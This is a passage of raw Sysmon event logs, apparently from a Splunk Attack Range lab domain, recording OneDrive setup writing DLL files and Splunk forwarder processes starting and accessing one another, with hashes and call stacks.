Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.321{7BD73061-6F43-613B-0609-00000000F001}2244C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013824Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:19.239{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0DB49DED917D8398F6631B3D5F768FB8,SHA256=C42DC91D848E873A709AF6F3BD73A35131713D2D97FBCA119D848FF2DC0EDEA8,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.461{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-timezone-l1-1-0.dll2021-09-10 14:44:19.461 11241100x800000000000000042851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.445{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-debug-l1-1-0.dll2021-09-10 14:44:19.445 11241100x800000000000000042850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.430{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-datetime-l1-1-0.dll2021-09-10 14:44:19.289 11241100x800000000000000042849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.289{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcfile.dll2021-09-10 14:44:19.227 11241100x800000000000000042848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.273{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-sysinfo-l1-1-0.dll2021-09-10 14:44:19.227 11241100x800000000000000042847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.227{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-console-l1-1-0.dll2021-09-10 14:44:19.117 11241100x800000000000000042846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.039{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-2-0.dll2021-09-10 14:44:19.039 11241100x800000000000000042845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:19.008{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-1-0.dll2021-09-10 14:44:18.992 11241100x800000000000000042844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:18.992{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adal.dll2021-09-10 14:44:18.992 23542300x800000000000000042886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.227{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7796D62F740B7D0069836ED2E8C709E4,SHA256=C2E01A85DDA9031661C223A39F2F95E20785B213B4AAAC038DEBE881B0F3067D,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.227{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vcruntime140.dll2021-09-10 14:44:20.227 11241100x800000000000000042884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.195{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-memory-l1-1-0.dll2021-09-10 14:44:20.195 11241100x800000000000000042883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.180{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-locale-l1-1-0.dll2021-09-10 14:44:20.180 11241100x800000000000000042882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.180{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-localization-l1-2-0.dll2021-09-10 14:44:20.180 11241100x800000000000000042881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.164{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-heap-l1-1-0.dll2021-09-10 14:44:20.164 11241100x800000000000000042880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.164{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-libraryloader-l1-1-0.dll2021-09-10 14:44:20.164 11241100x800000000000000042879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.148{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-filesystem-l1-1-0.dll2021-09-10 14:44:20.148 11241100x800000000000000042878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.148{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-interlocked-l1-1-0.dll2021-09-10 14:44:20.148 11241100x800000000000000042877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.133{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-heap-l1-1-0.dll2021-09-10 14:44:20.133 11241100x800000000000000042876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.133{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-environment-l1-1-0.dll2021-09-10 14:44:20.133 11241100x800000000000000042875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.086{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-handle-l1-1-0.dll2021-09-10 14:44:20.070 11241100x800000000000000042874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.070{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-convert-l1-1-0.dll2021-09-10 14:44:20.070 11241100x800000000000000042873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.055{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l2-1-0.dll2021-09-10 14:44:20.055 23542300x800000000000000013825Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:20.286{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB44DE75A5500696A50068700187837E,SHA256=7D3081CD1B59BF2959774BF1AC6C7E76DB872C75DC467482DB72311C0467A2C2,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.711{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Quick.dll2021-09-10 14:44:21.711 11241100x800000000000000042928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.711{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncApi.dll2021-09-10 14:44:21.601 11241100x800000000000000042927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.664{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-string-l1-1-0.dll2021-09-10 14:44:21.492 11241100x800000000000000042926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.664{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\qtquickcontrols2plugin.dll2021-09-10 14:44:21.430 11241100x800000000000000042925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.508{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libeay32.dll2021-09-10 14:44:21.492 23542300x800000000000000042924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1A1CDE5AC044C58BB8A64BF27B5D4E7B,SHA256=BA4938A10BD0F5045A857023CDBF5188A37C80FC4B92B537892E2D6D9385F5B2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.492{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F44-613B-0909-00000000F001}6404C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.476{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.398{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.398{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-string-l1-1-0.dll2021-09-10 14:44:21.383 11241100x800000000000000042917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.320{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-stdio-l1-1-0.dll2021-09-10 14:44:21.320 11241100x800000000000000042916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.320{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.Resources.dll2021-09-10 14:44:21.320 11241100x800000000000000042915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.305{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-runtime-l1-1-0.dll2021-09-10 14:44:21.305 11241100x800000000000000042914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.273{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-rtlsupport-l1-1-0.dll2021-09-10 14:44:21.273 11241100x800000000000000042913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.242{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-profile-l1-1-0.dll2021-09-10 14:44:21.180 11241100x800000000000000042912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.195{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-process-l1-1-0.dll2021-09-10 14:44:21.148 11241100x800000000000000042911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.180{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.LocalizedResources.dll2021-09-10 14:44:21.148 11241100x800000000000000042910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.148{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-1.dll2021-09-10 14:44:21.023 11241100x800000000000000042909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.102{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-private-l1-1-0.dll2021-09-10 14:44:20.742 11241100x800000000000000042908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:21.008{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuthLib.dll2021-09-10 14:44:20.820 11241100x800000000000000042907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.945{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-0.dll2021-09-10 14:44:20.711 10341000x800000000000000042906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.914{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F44-613B-0909-00000000F001}6404C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.914{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F44-613B-0909-00000000F001}6404C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.821{7BD73061-6F44-613B-0909-00000000F001}6404C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x800000000000000042903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:20.805{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe2021-09-10 14:44:20.727 11241100x800000000000000042902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.695{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processenvironment-l1-1-0.dll2021-09-10 14:44:20.695 11241100x800000000000000042901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:20.680{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-multibyte-l1-1-0.dll2021-09-10 14:44:20.633 10341000x800000000000000042900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:20.633{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F44-613B-0809-00000000F001}6656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 